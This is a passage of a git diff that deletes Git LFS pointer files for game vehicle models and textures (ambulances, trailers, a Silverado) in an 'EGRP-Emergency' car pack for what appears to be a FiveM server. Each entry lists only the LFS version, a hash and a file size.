sha256:72ee64891768a7036dd0ab666c298e9ada911ab0d432053893c5658bdba72314 -size 11277219 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado_hi.yft deleted file mode 100644 index d311a7653..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:f9f38ae6fc5662d4d42ab7f0fe3b81da2fbfcbd0d50f497fae0070eab7be15d3 -size 9393021 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer.yft deleted file mode 100644 index 38238f72b..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:e131c0aede88ab50e30abe90491cf44a24c971c56e3122217f59929ba88f3032 -size 2850147 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer.ytd deleted file mode 100644 index 6e7cf7c29..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:44e2fc30722d874b589901ae2d86f6e742f23047ce9a8dc38d91a5048bc50aed -size 3850241 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2.yft deleted file mode 100644 index 3feac66e5..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:65bb45a16b6408485974557270ac5b85dbdb08cfdcb461603ea1c034e2c1b22e -size 1289573 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2.ytd deleted file mode 100644 index 4db8a67d3..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:6f2a454ace6989a031203f29527b274f73700dc4c79d5517d7308e1868ee7aad -size 3952883 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2_hi.yft deleted file mode 100644 index 30335f9d5..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:1fcfe66e430ef8e02a858cee276c4b388f6abfda33e0a3f7240a9d3c7dce4ad5 -size 1289554 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer_hi.yft deleted file mode 100644 index 63eca327b..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:35f41109ad532d81fc758532c3309609d519725c0747dc6bfa20502c6b530eda -size 2850169 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo.yft deleted file mode 100644 index d38f39849..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:ba7eb517abf063ab01661a5027388edd0ec0f3c1b17a691b603837f50c70fa64 -size 9063668 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo.ytd deleted file mode 100644 index d466dc3e1..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:91d8d8241c458c471dd3f1fb3c19f4ddd5005fb296930a7ce62b6d9844e61497 -size 11119329 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo_hi.yft deleted file mode 100644 index 1edc7da26..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:3b62e7731715b3f01481660b47d8a76d6123a67cb80d54eb4bbdea103d9e5f76 -size 9063600 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant1.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant1.yft deleted file mode 100644 index f80fcdcc1..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant1.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:2a76e4c64322b36b3b72ab2d9f3d5e2d95a136d9e37147675bdc0d84003bf9f2 -size 11110 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant2.yft deleted file mode 100644 index 4cd74b683..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant2.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:27274a816d2e0eed70bdb56232a84c014f43e7d245684026e7f4898814564b4d -size 5392 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant3.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant3.yft deleted file mode 100644 index 458ebccb7..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant3.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:808f81c66fa5f1c664191bc374387b492fc884f7785b57a6f908e54a1178699a -size 14405 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen1.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen1.yft deleted file mode 100644 index a8faf7fe6..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen1.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:31bad9826aaaaeb33354682ac2eb6cff5b0c1e4dc4a93d24b79d5afbe72becb1 -size 5405 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen2.yft deleted file mode 100644 index 220406021..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen2.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:f6c14a0db913029aed98e8c57ea61748876ce7daaf6042c2392cbffd9a0392b1 -size 5404 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen3.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen3.yft deleted file mode 100644 index e20a24228..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen3.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:95bc71d4a66b37ec445e115ec54f0eb83e8d7aa8cc717707488359e1a533ce0e -size 5405 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_dell1.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_dell1.yft deleted file mode 100644 index 924b45951..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_dell1.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:978fa01b481925490ca12b5a2004623a0c18f3c89f6e747d456be9eb2040ecce -size 43087 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_dell2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_dell2.yft deleted file mode 100644 index 9d8eb72f6..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_dell2.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:3f6de40d472a0733ad476cb6fb3dcdee8de4c6a003bc11494392cec23da7a72d -size 43307 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_fsider.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_fsider.yft deleted file mode 100644 index 03d5fc6f5..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_fsider.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:77cd8eb100bc36e97da3b4aafee1cdcd881d6402e7452e40cafb5b783d7e5d6b -size 47567 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug2.yft deleted file mode 100644 index ab6dc8d28..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug2.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:d801ce6a247376de20b5f0989988877757c3b71f45368a69e55b2ef090a402d3 -size 27249 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug3.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug3.yft deleted file mode 100644 index d65a7405c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug3.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:cab766a9e68dfd1cda482a91de3dc33f34f4cae8cb2e175a2fafba0d7819c081 -size 27231 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug4.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug4.yft deleted file mode 100644 index f987c8f53..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug4.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:598ed158abbcceddb24bee8d0c8c4c28e19d3605aa0451895c2b602a24f4888c -size 27242 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug5.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug5.yft deleted file mode 100644 index 1dd516480..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug5.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:d9e93aba118154306e0a1939ba7b71868927c4518a5f4a69c2cb067c145e2d90 -size 27225 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug6.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug6.yft deleted file mode 100644 index 377487cd2..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug6.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:7ebfcf3b50e0ae789a93e9eadb121a91f3ca6331d9d428b05300d6e78382cdbf -size 27242 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats1.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats1.yft deleted file mode 100644 index a649e9e20..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats1.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:1bdc45d0acc58cc57f7e38dc60d0d125bba54ad27b71ac4fd68b970454b52012 -size 53318 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats2.yft deleted file mode 100644 index cc0f81a6d..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats2.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:5c8b6301314c8ade90229662e29c4b79acb7281a1c44309289dba9bd10368f8a -size 52925 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats3.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats3.yft deleted file mode 100644 index e133a0542..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats3.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:c94893ce9c714d4a0c303b51e6572e51109d352aabc796e467d8ddcf0318b154 -size 52960 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats4.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats4.yft deleted file mode 100644 index c95f41d9a..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats4.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:92c078ea027d870031be99080870a6423f42bbfd64ab30547f11ed020d0db2c2 -size 53174 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats5.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats5.yft deleted file mode 100644 index 721a8a464..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats5.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:a2d38e8da325f647182b51f9f939a180437603c8a93b97b8e126eb27a6320628 -size 53357 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats6.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats6.yft deleted file mode 100644 index a5c69f03a..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats6.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:87627b2e2df86e540b1a75bbbd6638f3166b74a06d7b0f1a3b4ecc22b1f9f58c -size 53020 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats7.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats7.yft deleted file mode 100644 index 97982f99b..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats7.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:b885637e78b276cfbfe06fe1ca1b2b42d1dc4fc013d12535be3cc44f203b1bd7 -size 53523 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_sp2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_sp2.yft deleted file mode 100644 index 7dd7a8cea..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_sp2.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:dcd4ec2793284bdf20868b588bfc0b2e49712177f709963f27ec9ad488ee8bed -size 11180 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amboexst_1.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amboexst_1.yft deleted file mode 100644 index 5dfb00983..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amboexst_1.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:f5228e785658f0da204962d8f17cfba3700e5140c7769b02daaff5d75d207a4e -size 148080 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_1.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_1.yft deleted file mode 100644 index f9bfae981..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_1.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:831bd4368e91a4f2d099d1b190af06c07b413338086e603070ef3871b0cfaa4b -size 26616 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_2.yft deleted file mode 100644 index db32b5cfb..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_2.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:0ee0f949e63efb36169c4931abf0d2cbd2c96b777dcd8f22d0e429df4660d0eb -size 28711 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_3.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_3.yft deleted file mode 100644 index 4e054ae6d..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_3.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:4f8ac0c38ddb41fe993b10cf2f6f4ac37ab9c49c3fbbd41bbd173fd5cc34725f -size 52687 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_4.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_4.yft deleted file mode 100644 index 0e9ffafbf..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_4.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:9035a8388aaf7472ec841315866e95154d39c88688322d64d310d387a50ad612 -size 26619 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_5.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_5.yft deleted file mode 100644 index bf2a9a12a..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_5.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:8da6e98b0ecda57e138256ee62f45bd66d31ea2dc76ac9abe57cb389a32840ae -size 28710 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_6.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_6.yft deleted file mode 100644 index 630795ef0..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_6.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:b9ab73e52b8a784483f9bc2b701bf8777e153faa88557436f105b5e2c9a99fea -size 52697 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_7.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_7.yft deleted file mode 100644 index 869dec503..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_7.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:a1bf50f202e8299ec5e02694a3ecf61b4a31b6ebc2c1d9914df7fe914ce1126d -size 26622 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_8.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_8.yft deleted file mode 100644 index 4fa7f3261..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_8.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:30a49df28561594ea05f5bb718304b8b56216f031f1e6acbf2a725c6549715e4 -size 28709 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_9.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_9.yft deleted file mode 100644 index d9110dd1a..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_9.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:b361136a06ed8573380309b21756aec3145ecfdb65b74726a24d42187fafca6d -size 52690 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_2.yft deleted file mode 100644 index 99dc2c6bb..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_2.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:ea255571a40cc6858715ae998d3477ca50190555b9d1d1ecaf9ed57c56d9e65f -size 44978 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_3.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_3.yft deleted file mode 100644 index 0f45ddafe..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_3.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:f6e48f9505c95653111a11aded4c258330bb30d2c108b744b4714526577e3a48 -size 44972 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_4.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_4.yft deleted file mode 100644 index d4d51cf17..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_4.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:6d42bfaa7c7622fa9b53c16621f57211ffa5f55be9d1084a63994c3d28f7a351 -size 44938 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo+hi.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo+hi.ytd deleted file mode 100644 index a55cedfe7..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo+hi.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:ed19672a0a5dd7e6ac0928ea3eb2bbdf69218ec762df55d3e71e6b68e52b37e3 -size 3077991 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo.yft deleted file mode 100644 index 62b792e45..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:cc4a89328a397ce800936506d7fd9fb4c6151f898292f80d97d5ed954675b41b -size 9866240 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo.ytd deleted file mode 100644 index bffdb2b9f..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo.ytd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:d32ff5a1a22a67f5d9ff12e5ad8c5517db04877de27592262046e0ce0f01ec87 -size 4400091 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_b2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_b2.yft deleted file mode 100644 index 3ece69088..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_b2.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:32c75a8b79d9263e6d6c2204c107af9b4454718c9380298aeaf657328716c046 -size 262523 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_b3.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_b3.yft deleted file mode 100644 index 6aa9ffe2f..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_b3.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:9b21e5bb72bfa00dc60e5e093a689b4a775341dff6b960a7447a50a2d54cf85c -size 237607 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_cfrontbumper.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_cfrontbumper.yft deleted file mode 100644 index c32b39eca..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_cfrontbumper.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:620c399c7b13b4650e229555228e263f50a053ecad355f71c356503b8420decc -size 196601 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_cgrill.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_cgrill.yft deleted file mode 100644 index 2066d35f2..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_cgrill.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:a214718b5436c1ad86ae4c339c88c848e44195b4419fc1867bbab0b6a4b0ee1a -size 311420 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_dashcam.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_dashcam.yft deleted file mode 100644 index ed61c3794..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_dashcam.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:4a3f9f796be7c0ae04de216b0069fa03b0b592721ced39be728467ef0500b8b2 -size 27939 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_f550.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_f550.yft deleted file mode 100644 index 095d143aa..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_f550.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:6fa9cc47e2ad9be4d9ae2bc2ab972bf5e00b222d25c2e49fa1edda9596225be1 -size 42880 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_hi.yft deleted file mode 100644 index 0b7398991..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_hi.yft +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:4c14d9a14ba79da827b3969e038f431d2ebf7bcc1cea9356d3b51d140c61ec69 -size 9866175 diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_horn1.yft 